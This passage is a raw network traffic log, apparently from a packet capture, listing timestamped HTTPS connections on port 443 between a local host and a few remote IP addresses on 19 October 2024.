Oct 19, 2024 00:14:22.164889097 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.164913893 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.164983988 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.164990902 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.165136099 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.165239096 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.165239096 CEST	49967	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.165251017 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.165255070 CEST	443	49967	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.170639038 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.170685053 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.170770884 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.170944929 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.170955896 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.176666975 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.176690102 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.176748991 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.176754951 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.176877975 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.176877975 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.179229975 CEST	49966	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.179243088 CEST	443	49966	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.179409027 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.179441929 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.180489063 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.180489063 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.180515051 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.244741917 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.244820118 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.244882107 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.245100975 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.245127916 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.245142937 CEST	49969	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.245148897 CEST	443	49969	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.249007940 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.249047995 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.249351978 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.249412060 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.249419928 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.393181086 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:22.393264055 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:22.394260883 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:22.395113945 CEST	49958	443	192.168.2.10	104.21.85.152
Oct 19, 2024 00:14:22.395143986 CEST	443	49958	104.21.85.152	192.168.2.10
Oct 19, 2024 00:14:22.597181082 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:22.597225904 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:22.597297907 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:22.597654104 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:22.597664118 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:22.890242100 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.890819073 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.890850067 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.891535997 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.891547918 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.899488926 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.900048971 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.900070906 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.900507927 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.900513887 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.912188053 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.912750959 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.912781000 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.913120985 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.913126945 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.949151993 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.949664116 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.949685097 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.950212955 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.950217962 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.987510920 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.988086939 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.988116980 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:22.989475012 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:22.989481926 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.024890900 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.024943113 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.024996042 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.025039911 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.025080919 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.025279045 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.025302887 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.025310040 CEST	49970	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.025316000 CEST	443	49970	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.029089928 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.029129028 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.029335976 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.029596090 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.029604912 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.030870914 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.030900955 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.030946970 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.031003952 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.031079054 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.031095028 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.031107903 CEST	49972	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.031112909 CEST	443	49972	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.034466028 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.034496069 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.034615040 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.034898996 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.034913063 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.049175024 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.049314976 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.049494028 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.050393105 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.050393105 CEST	49971	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.050415039 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.050424099 CEST	443	49971	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.058423996 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.058466911 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.058573961 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.058690071 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.058706999 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.087795973 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.087862968 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.088043928 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.088293076 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.088293076 CEST	49973	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.088311911 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.088320971 CEST	443	49973	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.095901966 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.095943928 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.096029997 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.096191883 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.096204996 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.122809887 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.122843981 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.122905970 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.122914076 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.123070955 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.140072107 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.140072107 CEST	49974	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.140098095 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.140109062 CEST	443	49974	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.143882990 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.143929005 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.144232988 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.144232988 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.144267082 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.577135086 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:23.625380993 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.660653114 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.660669088 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:23.661921024 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:23.661984921 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.665039062 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.665122986 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:23.665376902 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.706259966 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.706274033 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:23.747456074 CEST	49975	443	192.168.2.10	203.170.84.122
Oct 19, 2024 00:14:23.775551081 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.785576105 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.822810888 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.825025082 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.832263947 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.833261967 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.863337994 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.876643896 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.883572102 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.888036013 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.888053894 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.890095949 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.890111923 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.891530991 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.891544104 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.895303965 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.895313978 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.895885944 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.895894051 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:23.897485971 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:23.897494078 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.006266117 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.006285906 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.007061958 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.007066965 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.007494926 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.007507086 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.007884979 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.007889986 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.023878098 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.023977041 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.024018049 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.024292946 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.028276920 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.028342962 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.028472900 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.037976027 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.037976027 CEST	49978	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.038001060 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.038012981 CEST	443	49978	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.038152933 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.038167000 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.038259983 CEST	49977	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.038265944 CEST	443	49977	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.052499056 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.052542925 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.053155899 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.053781033 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.053791046 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.055071115 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.055116892 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.055170059 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.055327892 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.055342913 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.069401026 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.070045948 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.070106983 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.070133924 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.070194006 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.070295095 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.070295095 CEST	49981	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.070313931 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.070324898 CEST	443	49981	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.073877096 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.073921919 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.073973894 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.074711084 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.074722052 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.133177042 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.133598089 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.133646965 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.133673906 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.133680105 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.133691072 CEST	49980	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.133694887 CEST	443	49980	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.137693882 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.137752056 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.137945890 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.139719963 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.139803886 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.139847040 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.140233040 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.140285969 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.140319109 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.140319109 CEST	49979	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.140332937 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.140336037 CEST	443	49979	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.142888069 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.142919064 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.143091917 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.143271923 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.143286943 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.867244959 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.867752075 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.867775917 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.867799044 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.868248940 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.868257046 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.868726969 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.868750095 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.869201899 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.869214058 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.869481087 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.869820118 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.869837046 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.870599031 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.870604038 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.870613098 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.870893002 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.870922089 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.871376991 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.871388912 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.882723093 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.883090973 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.883125067 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:24.883594990 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:24.883601904 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.000570059 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.000818014 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.000962019 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.000962019 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.001010895 CEST	49985	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.001029015 CEST	443	49985	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.003601074 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.003678083 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.003897905 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004004955 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004017115 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004041910 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004050016 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004059076 CEST	49982	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004070044 CEST	443	49982	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004127979 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004303932 CEST	49987	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004323959 CEST	443	49987	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004448891 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004489899 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004535913 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004580021 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004719973 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004729986 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.004749060 CEST	49984	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.004754066 CEST	443	49984	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.006596088 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.006632090 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.006783009 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.006901979 CEST	49988	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.006916046 CEST	443	49988	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.007570028 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.007920980 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.007968903 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008008957 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008018970 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.008029938 CEST	49983	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008034945 CEST	443	49983	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.008208036 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008245945 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.008305073 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008527040 CEST	49989	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.008538961 CEST	443	49989	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.010602951 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.010623932 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.010755062 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.010991096 CEST	49990	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.011008024 CEST	443	49990	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.016938925 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.016963959 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.017004013 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.017040014 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.017040014 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.017306089 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.017306089 CEST	49986	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.017324924 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.017343044 CEST	443	49986	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.019344091 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.019365072 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.019484997 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.019643068 CEST	49991	443	192.168.2.10	13.107.246.45
Oct 19, 2024 00:14:25.019650936 CEST	443	49991	13.107.246.45	192.168.2.10
Oct 19, 2024 00:14:25.152160883 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.152187109 CEST	443	49975	203.170.84.122	192.168.2.10
Oct 19, 2024 00:14:25.152199030 CEST	443	49975	203.170.84.122	192.168.2.10
